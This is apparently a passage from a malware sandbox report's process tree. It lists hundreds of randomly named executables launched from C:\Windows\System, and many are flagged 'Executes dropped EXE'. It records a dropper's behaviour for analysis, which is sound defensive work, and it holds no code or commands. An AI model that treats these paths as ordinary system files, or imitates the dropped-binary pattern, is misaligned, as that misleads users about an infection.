- C:\Windows\System\bOOzjsy.exe
  C:\Windows\System\bOOzjsy.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\opeNpbh.exe
  C:\Windows\System\opeNpbh.exe
  2⤵
  - Executes dropped EXE
  PID:2036
- C:\Windows\System\tDlEcYE.exe
  C:\Windows\System\tDlEcYE.exe
  2⤵
  - Executes dropped EXE
  PID:3240
- C:\Windows\System\VhxhmSA.exe
  C:\Windows\System\VhxhmSA.exe
  2⤵
  - Executes dropped EXE
  PID:2020
- C:\Windows\System\SQyEfTz.exe
  C:\Windows\System\SQyEfTz.exe
  2⤵
  - Executes dropped EXE
  PID:4648
- C:\Windows\System\JotbFhi.exe
  C:\Windows\System\JotbFhi.exe
  2⤵
  - Executes dropped EXE
  PID:1116
- C:\Windows\System\PdnvTZW.exe
  C:\Windows\System\PdnvTZW.exe
  2⤵
  - Executes dropped EXE
  PID:2756
- C:\Windows\System\dTXLCbr.exe
  C:\Windows\System\dTXLCbr.exe
  2⤵
  - Executes dropped EXE
  PID:1788
- C:\Windows\System\QdjDtVA.exe
  C:\Windows\System\QdjDtVA.exe
  2⤵
  - Executes dropped EXE
  PID:1660
- C:\Windows\System\wsowCVd.exe
  C:\Windows\System\wsowCVd.exe
  2⤵
  - Executes dropped EXE
  PID:4104
- C:\Windows\System\HbXcuuL.exe
  C:\Windows\System\HbXcuuL.exe
  2⤵
  - Executes dropped EXE
  PID:2892
- C:\Windows\System\CLCDmyY.exe
  C:\Windows\System\CLCDmyY.exe
  2⤵
  - Executes dropped EXE
  PID:4156
- C:\Windows\System\mYBaEQO.exe
  C:\Windows\System\mYBaEQO.exe
  2⤵
  - Executes dropped EXE
  PID:936
- C:\Windows\System\ZhMPBkA.exe
  C:\Windows\System\ZhMPBkA.exe
  2⤵
  - Executes dropped EXE
  PID:1756
- C:\Windows\System\XyeWRXZ.exe
  C:\Windows\System\XyeWRXZ.exe
  2⤵
  - Executes dropped EXE
  PID:4956
- C:\Windows\System\XJaDZXi.exe
  C:\Windows\System\XJaDZXi.exe
  2⤵
  - Executes dropped EXE
  PID:4228
- C:\Windows\System\JsyFmCZ.exe
  C:\Windows\System\JsyFmCZ.exe
  2⤵
  - Executes dropped EXE
  PID:696
- C:\Windows\System\jNCIyce.exe
  C:\Windows\System\jNCIyce.exe
  2⤵
  - Executes dropped EXE
  PID:3548
- C:\Windows\System\wxpkisN.exe
  C:\Windows\System\wxpkisN.exe
  2⤵
  - Executes dropped EXE
  PID:2884
- C:\Windows\System\zfTquXk.exe
  C:\Windows\System\zfTquXk.exe
  2⤵
  - Executes dropped EXE
  PID:5116
- C:\Windows\System\gRgQuDj.exe
  C:\Windows\System\gRgQuDj.exe
  2⤵
  - Executes dropped EXE
  PID:4136
- C:\Windows\System\IVBtjQM.exe
  C:\Windows\System\IVBtjQM.exe
  2⤵
  - Executes dropped EXE
  PID:3684
- C:\Windows\System\xNqwiWi.exe
  C:\Windows\System\xNqwiWi.exe
  2⤵
  - Executes dropped EXE
  PID:3384
- C:\Windows\System\AIhtAau.exe
  C:\Windows\System\AIhtAau.exe
  2⤵
  - Executes dropped EXE
  PID:2316
- C:\Windows\System\KUiGxgV.exe
  C:\Windows\System\KUiGxgV.exe
  2⤵
  - Executes dropped EXE
  PID:4928
- C:\Windows\System\DWaReeh.exe
  C:\Windows\System\DWaReeh.exe
  2⤵
  - Executes dropped EXE
  PID:1400
- C:\Windows\System\EaBshdm.exe
  C:\Windows\System\EaBshdm.exe
  2⤵
  - Executes dropped EXE
  PID:464
- C:\Windows\System\mpKRrWn.exe
  C:\Windows\System\mpKRrWn.exe
  2⤵
  - Executes dropped EXE
  PID:2568
- C:\Windows\System\cllzrmX.exe
  C:\Windows\System\cllzrmX.exe
  2⤵
  PID:1712
- C:\Windows\System\vxIUXGo.exe
  C:\Windows\System\vxIUXGo.exe
  2⤵
  - Executes dropped EXE
  PID:2984
- C:\Windows\System\wRzSHpa.exe
  C:\Windows\System\wRzSHpa.exe
  2⤵
  - Executes dropped EXE
  PID:4464
- C:\Windows\System\rMRcOFn.exe
  C:\Windows\System\rMRcOFn.exe
  2⤵
  - Executes dropped EXE
  PID:2816
- C:\Windows\System\aqndYim.exe
  C:\Windows\System\aqndYim.exe
  2⤵
  - Executes dropped EXE
  PID:2968
- C:\Windows\System\RopkzGT.exe
  C:\Windows\System\RopkzGT.exe
  2⤵
  - Executes dropped EXE
  PID:4488
- C:\Windows\System\PTUcxEQ.exe
  C:\Windows\System\PTUcxEQ.exe
  2⤵
  - Executes dropped EXE
  PID:1932
- C:\Windows\System\CUjRAde.exe
  C:\Windows\System\CUjRAde.exe
  2⤵
  - Executes dropped EXE
  PID:5064
- C:\Windows\System\ksRPict.exe
  C:\Windows\System\ksRPict.exe
  2⤵
  - Executes dropped EXE
  PID:2080
- C:\Windows\System\bMInUyQ.exe
  C:\Windows\System\bMInUyQ.exe
  2⤵
  - Executes dropped EXE
  PID:3168
- C:\Windows\System\svxBnkw.exe
  C:\Windows\System\svxBnkw.exe
  2⤵
  PID:1680
- C:\Windows\System\TmdwEDS.exe
  C:\Windows\System\TmdwEDS.exe
  2⤵
  - Executes dropped EXE
  PID:3012
- C:\Windows\System\yxzYkih.exe
  C:\Windows\System\yxzYkih.exe
  2⤵
  - Executes dropped EXE
  PID:2880
- C:\Windows\System\NfYgGHD.exe
  C:\Windows\System\NfYgGHD.exe
  2⤵
  PID:4844
- C:\Windows\System\JlFGnqs.exe
  C:\Windows\System\JlFGnqs.exe
  2⤵
  PID:3900
- C:\Windows\System\elVTSJS.exe
  C:\Windows\System\elVTSJS.exe
  2⤵
  PID:4768
- C:\Windows\System\MyawsdZ.exe
  C:\Windows\System\MyawsdZ.exe
  2⤵
  PID:3228
- C:\Windows\System\AzfYnvz.exe
  C:\Windows\System\AzfYnvz.exe
  2⤵
  PID:5012
- C:\Windows\System\XPVpXWN.exe
  C:\Windows\System\XPVpXWN.exe
  2⤵
  PID:4544
- C:\Windows\System\LFfgCNl.exe
  C:\Windows\System\LFfgCNl.exe
  2⤵
  PID:4912
- C:\Windows\System\COuZCqC.exe
  C:\Windows\System\COuZCqC.exe
  2⤵
  PID:1048
- C:\Windows\System\cYdrMbz.exe
  C:\Windows\System\cYdrMbz.exe
  2⤵
  PID:4436
- C:\Windows\System\QhpuDwB.exe
  C:\Windows\System\QhpuDwB.exe
  2⤵
  PID:2252
- C:\Windows\System\LEFbhpN.exe
  C:\Windows\System\LEFbhpN.exe
  2⤵
  PID:5144
- C:\Windows\System\oQnQNkR.exe
  C:\Windows\System\oQnQNkR.exe
  2⤵
  PID:5160
- C:\Windows\System\WoTSwVH.exe
  C:\Windows\System\WoTSwVH.exe
  2⤵
  PID:5180
- C:\Windows\System\yAiqIGR.exe
  C:\Windows\System\yAiqIGR.exe
  2⤵
  PID:5204
- C:\Windows\System\ixALnkh.exe
  C:\Windows\System\ixALnkh.exe
  2⤵
  PID:5224
- C:\Windows\System\ECKpxQa.exe
  C:\Windows\System\ECKpxQa.exe
  2⤵
  PID:5252
- C:\Windows\System\mxkMRoV.exe
  C:\Windows\System\mxkMRoV.exe
  2⤵
  PID:5272
- C:\Windows\System\enFzvYo.exe
  C:\Windows\System\enFzvYo.exe
  2⤵
  PID:5296
- C:\Windows\System\tnRJsQY.exe
  C:\Windows\System\tnRJsQY.exe
  2⤵
  PID:5332
- C:\Windows\System\ykzWQeC.exe
  C:\Windows\System\ykzWQeC.exe
  2⤵
  PID:5356
- C:\Windows\System\uIsbGmk.exe
  C:\Windows\System\uIsbGmk.exe
  2⤵
  PID:5376
- C:\Windows\System\pEHWPfx.exe
  C:\Windows\System\pEHWPfx.exe
  2⤵
  PID:5400
- C:\Windows\System\RqKCiad.exe
  C:\Windows\System\RqKCiad.exe
  2⤵
  PID:5424
- C:\Windows\System\KTakBZJ.exe
  C:\Windows\System\KTakBZJ.exe
  2⤵
  PID:5452
- C:\Windows\System\ijDKeEO.exe
  C:\Windows\System\ijDKeEO.exe
  2⤵
  PID:5476
- C:\Windows\System\KuzmdbP.exe
  C:\Windows\System\KuzmdbP.exe
  2⤵
  PID:5492
- C:\Windows\System\ijOoslv.exe
  C:\Windows\System\ijOoslv.exe
  2⤵
  PID:5516
- C:\Windows\System\IcStRPU.exe
  C:\Windows\System\IcStRPU.exe
  2⤵
  PID:5544
- C:\Windows\System\vdLwlOT.exe
  C:\Windows\System\vdLwlOT.exe
  2⤵
  PID:5564
- C:\Windows\System\JedDXMT.exe
  C:\Windows\System\JedDXMT.exe
  2⤵
  PID:5588
- C:\Windows\System\VTXGswj.exe
  C:\Windows\System\VTXGswj.exe
  2⤵
  PID:5608
- C:\Windows\System\WacdGKT.exe
  C:\Windows\System\WacdGKT.exe
  2⤵
  PID:5624
- C:\Windows\System\BonNzRy.exe
  C:\Windows\System\BonNzRy.exe
  2⤵
  PID:5656
- C:\Windows\System\iUcUmPP.exe
  C:\Windows\System\iUcUmPP.exe
  2⤵
  PID:5676
- C:\Windows\System\voRfBMI.exe
  C:\Windows\System\voRfBMI.exe
  2⤵
  PID:5700
- C:\Windows\System\qVnMasR.exe
  C:\Windows\System\qVnMasR.exe
  2⤵
  PID:5716
- C:\Windows\System\GalBZmI.exe
  C:\Windows\System\GalBZmI.exe
  2⤵
  PID:5744
- C:\Windows\System\wMZGkhn.exe
  C:\Windows\System\wMZGkhn.exe
  2⤵
  PID:5768
- C:\Windows\System\YPQYGmP.exe
  C:\Windows\System\YPQYGmP.exe
  2⤵
  PID:5868
- C:\Windows\System\afwTYKg.exe
  C:\Windows\System\afwTYKg.exe
  2⤵
  PID:5892
- C:\Windows\System\GZSijcA.exe
  C:\Windows\System\GZSijcA.exe
  2⤵
  PID:5912
- C:\Windows\System\sKDXpVa.exe
  C:\Windows\System\sKDXpVa.exe
  2⤵
  PID:5936
- C:\Windows\System\yjCBsov.exe
  C:\Windows\System\yjCBsov.exe
  2⤵
  PID:5952
- C:\Windows\System\JCTCGQu.exe
  C:\Windows\System\JCTCGQu.exe
  2⤵
  PID:5984
- C:\Windows\System\RnGWlGD.exe
  C:\Windows\System\RnGWlGD.exe
  2⤵
  PID:6016
- C:\Windows\System\qpErAqq.exe
  C:\Windows\System\qpErAqq.exe
  2⤵
  PID:6036
- C:\Windows\System\UqpylRV.exe
  C:\Windows\System\UqpylRV.exe
  2⤵
  PID:6052
- C:\Windows\System\HMeDIEu.exe
  C:\Windows\System\HMeDIEu.exe
  2⤵
  PID:6104
- C:\Windows\System\ZfLubnb.exe
  C:\Windows\System\ZfLubnb.exe
  2⤵
  PID:6120
- C:\Windows\System\dowcOuD.exe
  C:\Windows\System\dowcOuD.exe
  2⤵
  PID:4220
- C:\Windows\System\QQXurez.exe
  C:\Windows\System\QQXurez.exe
  2⤵
  PID:3492
- C:\Windows\System\hTonoFp.exe
  C:\Windows\System\hTonoFp.exe
  2⤵
  PID:3136
- C:\Windows\System\NBeYDQL.exe
  C:\Windows\System\NBeYDQL.exe
  2⤵
  PID:1748
- C:\Windows\System\MSZkAft.exe
  C:\Windows\System\MSZkAft.exe
  2⤵
  PID:3504
- C:\Windows\System\xJdEzjk.exe
  C:\Windows\System\xJdEzjk.exe
  2⤵
  PID:3036
- C:\Windows\System\LVKehOU.exe
  C:\Windows\System\LVKehOU.exe
  2⤵
  PID:4264
- C:\Windows\System\dwRqayb.exe
  C:\Windows\System\dwRqayb.exe
  2⤵
  PID:4140
- C:\Windows\System\tXYOcMC.exe
  C:\Windows\System\tXYOcMC.exe
  2⤵
  PID:3120
- C:\Windows\System\PKxPvWb.exe
  C:\Windows\System\PKxPvWb.exe
  2⤵
  PID:4764
- C:\Windows\System\HsKomyF.exe
  C:\Windows\System\HsKomyF.exe
  2⤵
  PID:2248
- C:\Windows\System\zYpCQTG.exe
  C:\Windows\System\zYpCQTG.exe
  2⤵
  PID:2492
- C:\Windows\System\LdepOSh.exe
  C:\Windows\System\LdepOSh.exe
  2⤵
  PID:4608
- C:\Windows\System\WFwNKjT.exe
  C:\Windows\System\WFwNKjT.exe
  2⤵
  PID:5216
- C:\Windows\System\whsEety.exe
  C:\Windows\System\whsEety.exe
  2⤵
  PID:5304
- C:\Windows\System\aHoYUcC.exe
  C:\Windows\System\aHoYUcC.exe
  2⤵
  PID:5756
- C:\Windows\System\DUCnbzd.exe
  C:\Windows\System\DUCnbzd.exe
  2⤵
  PID:5344
- C:\Windows\System\pTGeERp.exe
  C:\Windows\System\pTGeERp.exe
  2⤵
  PID:3536
- C:\Windows\System\QtQoylI.exe
  C:\Windows\System\QtQoylI.exe
  2⤵
  PID:3632
- C:\Windows\System\GxNVdSx.exe
  C:\Windows\System\GxNVdSx.exe
  2⤵
  PID:5128
- C:\Windows\System\gmVjAEI.exe
  C:\Windows\System\gmVjAEI.exe
  2⤵
  PID:5156
- C:\Windows\System\mAaVlpx.exe
  C:\Windows\System\mAaVlpx.exe
  2⤵
  PID:5632
- C:\Windows\System\NTbfjZd.exe
  C:\Windows\System\NTbfjZd.exe
  2⤵
  PID:5284
- C:\Windows\System\lOkOEVc.exe
  C:\Windows\System\lOkOEVc.exe
  2⤵
  PID:6128
- C:\Windows\System\SasEgfh.exe
  C:\Windows\System\SasEgfh.exe
  2⤵
  PID:6160
- C:\Windows\System\uLoZYCl.exe
  C:\Windows\System\uLoZYCl.exe
  2⤵
  PID:6180
- C:\Windows\System\nvkSnjf.exe
  C:\Windows\System\nvkSnjf.exe
  2⤵
  PID:6196
- C:\Windows\System\pcbEOrG.exe
  C:\Windows\System\pcbEOrG.exe
  2⤵
  PID:6224
- C:\Windows\System\ySqWxJg.exe
  C:\Windows\System\ySqWxJg.exe
  2⤵
  PID:6240
- C:\Windows\System\xjUFIrx.exe
  C:\Windows\System\xjUFIrx.exe
  2⤵
  PID:6268
- C:\Windows\System\BlfDNOo.exe
  C:\Windows\System\BlfDNOo.exe
  2⤵
  PID:6288
- C:\Windows\System\kGlMfqH.exe
  C:\Windows\System\kGlMfqH.exe
  2⤵
  PID:6312
- C:\Windows\System\arsbFhS.exe
  C:\Windows\System\arsbFhS.exe
  2⤵
  PID:6328
- C:\Windows\System\OvkhTzk.exe
  C:\Windows\System\OvkhTzk.exe
  2⤵
  PID:6352
- C:\Windows\System\uqSvBtt.exe
  C:\Windows\System\uqSvBtt.exe
  2⤵
  PID:6368
- C:\Windows\System\ZpAbcNe.exe
  C:\Windows\System\ZpAbcNe.exe
  2⤵
  PID:6404
- C:\Windows\System\pOiTmJy.exe
  C:\Windows\System\pOiTmJy.exe
  2⤵
  PID:6424
- C:\Windows\System\ZtfxNmh.exe
  C:\Windows\System\ZtfxNmh.exe
  2⤵
  PID:6444
- C:\Windows\System\JIzJokj.exe
  C:\Windows\System\JIzJokj.exe
  2⤵
  PID:6464
- C:\Windows\System\XBSsATi.exe
  C:\Windows\System\XBSsATi.exe
  2⤵
  PID:6484
- C:\Windows\System\hKBHKlT.exe
  C:\Windows\System\hKBHKlT.exe
  2⤵
  PID:6508
- C:\Windows\System\AxsAFGR.exe
  C:\Windows\System\AxsAFGR.exe
  2⤵
  PID:6576
- C:\Windows\System\YlFmTeq.exe
  C:\Windows\System\YlFmTeq.exe
  2⤵
  PID:6672
- C:\Windows\System\PwMoaWO.exe
  C:\Windows\System\PwMoaWO.exe
  2⤵
  PID:6688
- C:\Windows\System\PqQsshv.exe
  C:\Windows\System\PqQsshv.exe
  2⤵
  PID:6704
- C:\Windows\System\uxNhqPM.exe
  C:\Windows\System\uxNhqPM.exe
  2⤵
  PID:6720
- C:\Windows\System\vmeYOKV.exe
  C:\Windows\System\vmeYOKV.exe
  2⤵
  PID:6736
- C:\Windows\System\SMTDmab.exe
  C:\Windows\System\SMTDmab.exe
  2⤵
  PID:6752
- C:\Windows\System\PKTLGIc.exe
  C:\Windows\System\PKTLGIc.exe
  2⤵
  PID:6768
- C:\Windows\System\HAYqOPe.exe
  C:\Windows\System\HAYqOPe.exe
  2⤵
  PID:6784
- C:\Windows\System\lPBsMwN.exe
  C:\Windows\System\lPBsMwN.exe
  2⤵
  PID:6800
- C:\Windows\System\wZMRqHw.exe
  C:\Windows\System\wZMRqHw.exe
  2⤵
  PID:6816
- C:\Windows\System\tfVjyMk.exe
  C:\Windows\System\tfVjyMk.exe
  2⤵
  PID:6832
- C:\Windows\System\oPFnDca.exe
  C:\Windows\System\oPFnDca.exe
  2⤵
  PID:6852
- C:\Windows\System\DmcqIPX.exe
  C:\Windows\System\DmcqIPX.exe
  2⤵
  PID:6868
- C:\Windows\System\mtbpOtk.exe
  C:\Windows\System\mtbpOtk.exe
  2⤵
  PID:6908
- C:\Windows\System\CYgJApd.exe
  C:\Windows\System\CYgJApd.exe
  2⤵
  PID:7036
- C:\Windows\System\ICFBwCU.exe
  C:\Windows\System\ICFBwCU.exe
  2⤵
  PID:7052
- C:\Windows\System\llKkChu.exe
  C:\Windows\System\llKkChu.exe
  2⤵
  PID:7080
- C:\Windows\System\TaBlqUy.exe
  C:\Windows\System\TaBlqUy.exe
  2⤵
  PID:7096
- C:\Windows\System\gFfvwPp.exe
  C:\Windows\System\gFfvwPp.exe
  2⤵
  PID:7112
- C:\Windows\System\mblufgh.exe
  C:\Windows\System\mblufgh.exe
  2⤵
  PID:7128
- C:\Windows\System\TfIHFXJ.exe
  C:\Windows\System\TfIHFXJ.exe
  2⤵
  PID:7152
- C:\Windows\System\bgoclpz.exe
  C:\Windows\System\bgoclpz.exe
  2⤵
  PID:4640
- C:\Windows\System\NvGKDsm.exe
  C:\Windows\System\NvGKDsm.exe
  2⤵
  PID:3456
- C:\Windows\System\TuhfQXm.exe
  C:\Windows\System\TuhfQXm.exe
  2⤵
  PID:5372
- C:\Windows\System\UsedVog.exe
  C:\Windows\System\UsedVog.exe
  2⤵
  PID:5416
- C:\Windows\System\hwzvAlM.exe
  C:\Windows\System\hwzvAlM.exe
  2⤵
  PID:5448
- C:\Windows\System\EztHkiD.exe
  C:\Windows\System\EztHkiD.exe
  2⤵
  PID:5500
- C:\Windows\System\nJIWIBL.exe
  C:\Windows\System\nJIWIBL.exe
  2⤵
  PID:5572
- C:\Windows\System\sMCQvYV.exe
  C:\Windows\System\sMCQvYV.exe
  2⤵
  PID:5664
- C:\Windows\System\VwvcEYj.exe
  C:\Windows\System\VwvcEYj.exe
  2⤵
  PID:5712
- C:\Windows\System\FsLCnxs.exe
  C:\Windows\System\FsLCnxs.exe
  2⤵
  PID:5804
- C:\Windows\System\pEDlpza.exe
  C:\Windows\System\pEDlpza.exe
  2⤵
  PID:5832
- C:\Windows\System\QfDMGXF.exe
  C:\Windows\System\QfDMGXF.exe
  2⤵
  PID:5900
- C:\Windows\System\TBeDxXx.exe
  C:\Windows\System\TBeDxXx.exe
  2⤵
  PID:5924
- C:\Windows\System\HvPuSyk.exe
  C:\Windows\System\HvPuSyk.exe
  2⤵
  PID:5992
- C:\Windows\System\KSbBhis.exe
  C:\Windows\System\KSbBhis.exe
  2⤵
  PID:6032
- C:\Windows\System\lpbhipJ.exe
  C:\Windows\System\lpbhipJ.exe
  2⤵
  PID:6140
- C:\Windows\System\rnYMoaY.exe
  C:\Windows\System\rnYMoaY.exe
  2⤵
  PID:2508
- C:\Windows\System\DqBrLXL.exe
  C:\Windows\System\DqBrLXL.exe
  2⤵
  PID:2028
- C:\Windows\System\Lhsrgrz.exe
  C:\Windows\System\Lhsrgrz.exe
  2⤵
  PID:4744
- C:\Windows\System\duhlwxR.exe
  C:\Windows\System\duhlwxR.exe
  2⤵
  PID:3444
- C:\Windows\System\dxqsLpY.exe
  C:\Windows\System\dxqsLpY.exe
  2⤵
  PID:3668
- C:\Windows\System\ZkKuLVK.exe
  C:\Windows\System\ZkKuLVK.exe
  2⤵
  PID:6188
- C:\Windows\System\SRQUtZy.exe
  C:\Windows\System\SRQUtZy.exe
  2⤵
  PID:6236
- C:\Windows\System\UUZCutT.exe
  C:\Windows\System\UUZCutT.exe
  2⤵
  PID:6320
- C:\Windows\System\TskdaGo.exe
  C:\Windows\System\TskdaGo.exe
  2⤵
  PID:6364
- C:\Windows\System\lNPFNRS.exe
  C:\Windows\System\lNPFNRS.exe
  2⤵
  PID:6100
- C:\Windows\System\sSALpZk.exe
  C:\Windows\System\sSALpZk.exe
  2⤵
  PID:2916
- C:\Windows\System\DSlbZSS.exe
  C:\Windows\System\DSlbZSS.exe
  2⤵
  PID:3656
- C:\Windows\System\HuepvsH.exe
  C:\Windows\System\HuepvsH.exe
  2⤵
  PID:5232
- C:\Windows\System\NkIeENv.exe
  C:\Windows\System\NkIeENv.exe
  2⤵
  PID:5580
- C:\Windows\System\iufqVNa.exe
  C:\Windows\System\iufqVNa.exe
  2⤵
  PID:6480
- C:\Windows\System\uUBzvBB.exe
  C:\Windows\System\uUBzvBB.exe
  2⤵
  PID:7172
- C:\Windows\System\CXDQSdJ.exe
  C:\Windows\System\CXDQSdJ.exe
  2⤵
  PID:7188
- C:\Windows\System\FlmTaXS.exe
  C:\Windows\System\FlmTaXS.exe
  2⤵
  PID:7204
- C:\Windows\System\jvNecHn.exe
  C:\Windows\System\jvNecHn.exe
  2⤵
  PID:7220
- C:\Windows\System\whoyCLw.exe
  C:\Windows\System\whoyCLw.exe
  2⤵
  PID:7244
- C:\Windows\System\WFzNWIB.exe
  C:\Windows\System\WFzNWIB.exe
  2⤵
  PID:7264
- C:\Windows\System\tDyUahS.exe
  C:\Windows\System\tDyUahS.exe
  2⤵
  PID:7280
- C:\Windows\System\rhvrxim.exe
  C:\Windows\System\rhvrxim.exe
  2⤵
  PID:7300
- C:\Windows\System\oomDypI.exe
  C:\Windows\System\oomDypI.exe
  2⤵
  PID:7316
- C:\Windows\System\lGymNYN.exe
  C:\Windows\System\lGymNYN.exe
  2⤵
  PID:7332
- C:\Windows\System\iQFzTbF.exe
  C:\Windows\System\iQFzTbF.exe
  2⤵
  PID:7352
- C:\Windows\System\pjHVXdy.exe
  C:\Windows\System\pjHVXdy.exe
  2⤵
  PID:7372
- C:\Windows\System\SYjVexy.exe
  C:\Windows\System\SYjVexy.exe
  2⤵
  PID:7388
- C:\Windows\System\lEEDjiO.exe
  C:\Windows\System\lEEDjiO.exe
  2⤵
  PID:7408
- C:\Windows\System\lagRgQO.exe
  C:\Windows\System\lagRgQO.exe
  2⤵
  PID:7428
- C:\Windows\System\uBnhJnz.exe
  C:\Windows\System\uBnhJnz.exe
  2⤵
  PID:7444
- C:\Windows\System\FGavzau.exe
  C:\Windows\System\FGavzau.exe
  2⤵
  PID:7572
- C:\Windows\System\zUouzBq.exe
  C:\Windows\System\zUouzBq.exe
  2⤵
  PID:7588
- C:\Windows\System\mXqoTwf.exe
  C:\Windows\System\mXqoTwf.exe
  2⤵
  PID:7620
- C:\Windows\System\oUpfJUE.exe
  C:\Windows\System\oUpfJUE.exe
  2⤵
  PID:7636
- C:\Windows\System\FySnyUa.exe
  C:\Windows\System\FySnyUa.exe
  2⤵
  PID:7660
- C:\Windows\System\diXjGgq.exe
  C:\Windows\System\diXjGgq.exe
  2⤵
  PID:7680
- C:\Windows\System\GRrcqSk.exe
  C:\Windows\System\GRrcqSk.exe
  2⤵
  PID:7696
- C:\Windows\System\VcRaNFt.exe
  C:\Windows\System\VcRaNFt.exe
  2⤵
  PID:7716
- C:\Windows\System\UQFxmHh.exe
  C:\Windows\System\UQFxmHh.exe
  2⤵
  PID:7736
- C:\Windows\System\BolRPgA.exe
  C:\Windows\System\BolRPgA.exe
  2⤵
  PID:7756
- C:\Windows\System\zzpdHxU.exe
  C:\Windows\System\zzpdHxU.exe
  2⤵
  PID:7788
- C:\Windows\System\fMGOWOd.exe
  C:\Windows\System\fMGOWOd.exe
  2⤵
  PID:7812
- C:\Windows\System\KSEbjag.exe
  C:\Windows\System\KSEbjag.exe
  2⤵
  PID:7844
- C:\Windows\System\IOskkVb.exe
  C:\Windows\System\IOskkVb.exe
  2⤵
  PID:7868
- C:\Windows\System\SJgTCGz.exe
  C:\Windows\System\SJgTCGz.exe
  2⤵
  PID:7900
- C:\Windows\System\XRspsOT.exe
  C:\Windows\System\XRspsOT.exe
  2⤵
  PID:7928
- C:\Windows\System\EmahQDc.exe
  C:\Windows\System\EmahQDc.exe
  2⤵
  PID:7956
- C:\Windows\System\RVTPiyK.exe
  C:\Windows\System\RVTPiyK.exe
  2⤵
  PID:7996
- C:\Windows\System\GnYeZhu.exe
  C:\Windows\System\GnYeZhu.exe
  2⤵
  PID:8024
- C:\Windows\System\KQoUczl.exe
  C:\Windows\System\KQoUczl.exe
  2⤵
  PID:8040
- C:\Windows\System\BWsSaXx.exe
  C:\Windows\System\BWsSaXx.exe
  2⤵
  PID:8064
- C:\Windows\System\DQDYQKy.exe
  C:\Windows\System\DQDYQKy.exe
  2⤵
  PID:8084
- C:\Windows\System\kMqOhed.exe
  C:\Windows\System\kMqOhed.exe
  2⤵
  PID:8104
- C:\Windows\System\WySDuff.exe
  C:\Windows\System\WySDuff.exe
  2⤵
  PID:8124
- C:\Windows\System\dGjeUsO.exe
  C:\Windows\System\dGjeUsO.exe
  2⤵
  PID:8140
- C:\Windows\System\AHtzMbN.exe
  C:\Windows\System\AHtzMbN.exe
  2⤵
  PID:8156
- C:\Windows\System\DzxluBY.exe
  C:\Windows\System\DzxluBY.exe
  2⤵
  PID:8172
- C:\Windows\System\KerAMbQ.exe
  C:\Windows\System\KerAMbQ.exe
  2⤵
  PID:8188
- C:\Windows\System\DjaGCPL.exe
  C:\Windows\System\DjaGCPL.exe
  2⤵
  PID:6252
- C:\Windows\System\kMNfWvJ.exe
  C:\Windows\System\kMNfWvJ.exe
  2⤵
  PID:6440
- C:\Windows\System\XxSgVHf.exe
  C:\Windows\System\XxSgVHf.exe
  2⤵
  PID:6584
- C:\Windows\System\pgoDXtP.exe
  C:\Windows\System\pgoDXtP.exe
  2⤵
  PID:5388
- C:\Windows\System\ndrPFmw.exe
  C:\Windows\System\ndrPFmw.exe
  2⤵
  PID:5908
- C:\Windows\System\cniJHap.exe
  C:\Windows\System\cniJHap.exe
  2⤵
  PID:6048
- C:\Windows\System\VNjREfe.exe
  C:\Windows\System\VNjREfe.exe
  2⤵
  PID:6156
- C:\Windows\System\GLjraLU.exe
  C:\Windows\System\GLjraLU.exe
  2⤵
  PID:6232
- C:\Windows\System\lMOaawe.exe
  C:\Windows\System\lMOaawe.exe
  2⤵
  PID:2744
- C:\Windows\System\XLaimQw.exe
  C:\Windows\System\XLaimQw.exe
  2⤵
  PID:7252
- C:\Windows\System\KOExMHc.exe
  C:\Windows\System\KOExMHc.exe
  2⤵
  PID:8196
- C:\Windows\System\hniNwNA.exe
  C:\Windows\System\hniNwNA.exe
  2⤵
  PID:8216
- C:\Windows\System\HMgOzTo.exe
  C:\Windows\System\HMgOzTo.exe
  2⤵
  PID:8232
- C:\Windows\System\RhNNzPg.exe
  C:\Windows\System\RhNNzPg.exe
  2⤵
  PID:8288
- C:\Windows\System\LCNQKHE.exe
  C:\Windows\System\LCNQKHE.exe
  2⤵
  PID:8304
- C:\Windows\System\HYxucSL.exe
  C:\Windows\System\HYxucSL.exe
  2⤵
  PID:8332
- C:\Windows\System\SkwSHxW.exe
  C:\Windows\System\SkwSHxW.exe
  2⤵
  PID:8352
- C:\Windows\System\GBAJlhk.exe
  C:\Windows\System\GBAJlhk.exe
  2⤵
  PID:8372
- C:\Windows\System\hVrHtnM.exe
  C:\Windows\System\hVrHtnM.exe
  2⤵
  PID:8392
- C:\Windows\System\xbKOTjE.exe
  C:\Windows\System\xbKOTjE.exe
  2⤵
  PID:8416
- C:\Windows\System\bncKniS.exe
  C:\Windows\System\bncKniS.exe
  2⤵
  PID:8436
- C:\Windows\System\QPaZwjC.exe
  C:\Windows\System\QPaZwjC.exe
  2⤵
  PID:8452
- C:\Windows\System\JNLtvcC.exe
  C:\Windows\System\JNLtvcC.exe
  2⤵
  PID:8472
- C:\Windows\System\YHusOuB.exe
  C:\Windows\System\YHusOuB.exe
  2⤵
  PID:8492
- C:\Windows\System\QOZsDKl.exe
  C:\Windows\System\QOZsDKl.exe
  2⤵
  PID:8508
- C:\Windows\System\hdhRdbm.exe
  C:\Windows\System\hdhRdbm.exe
  2⤵
  PID:8528
- C:\Windows\System\WoXZBat.exe
  C:\Windows\System\WoXZBat.exe
  2⤵
  PID:8548
- C:\Windows\System\TrTHZNN.exe
  C:\Windows\System\TrTHZNN.exe
  2⤵
  PID:8564
- C:\Windows\System\zQhqBcM.exe
  C:\Windows\System\zQhqBcM.exe
  2⤵
  PID:8588
- C:\Windows\System\DvjucOX.exe
  C:\Windows\System\DvjucOX.exe
  2⤵
  PID:8604
- C:\Windows\System\pMRVQZL.exe
  C:\Windows\System\pMRVQZL.exe
  2⤵
  PID:8628
- C:\Windows\System\vFHuoRu.exe
  C:\Windows\System\vFHuoRu.exe
  2⤵
  PID:8652
- C:\Windows\System\GNcXkni.exe
  C:\Windows\System\GNcXkni.exe
  2⤵
  PID:8668
- C:\Windows\System\GOvsXam.exe
  C:\Windows\System\GOvsXam.exe
  2⤵
  PID:8688
- C:\Windows\System\DtRPVsQ.exe
  C:\Windows\System\DtRPVsQ.exe
  2⤵
  PID:8704
- C:\Windows\System\AmgtXma.exe
  C:\Windows\System\AmgtXma.exe
  2⤵
  PID:8728
- C:\Windows\System\Xqevvli.exe
  C:\Windows\System\Xqevvli.exe
  2⤵
  PID:8748
- C:\Windows\System\orbxeBl.exe
  C:\Windows\System\orbxeBl.exe
  2⤵
  PID:8768
- C:\Windows\System\fMczHQL.exe
  C:\Windows\System\fMczHQL.exe
  2⤵
  PID:8788
- C:\Windows\System\lrHYHDI.exe
  C:\Windows\System\lrHYHDI.exe
  2⤵
  PID:8812
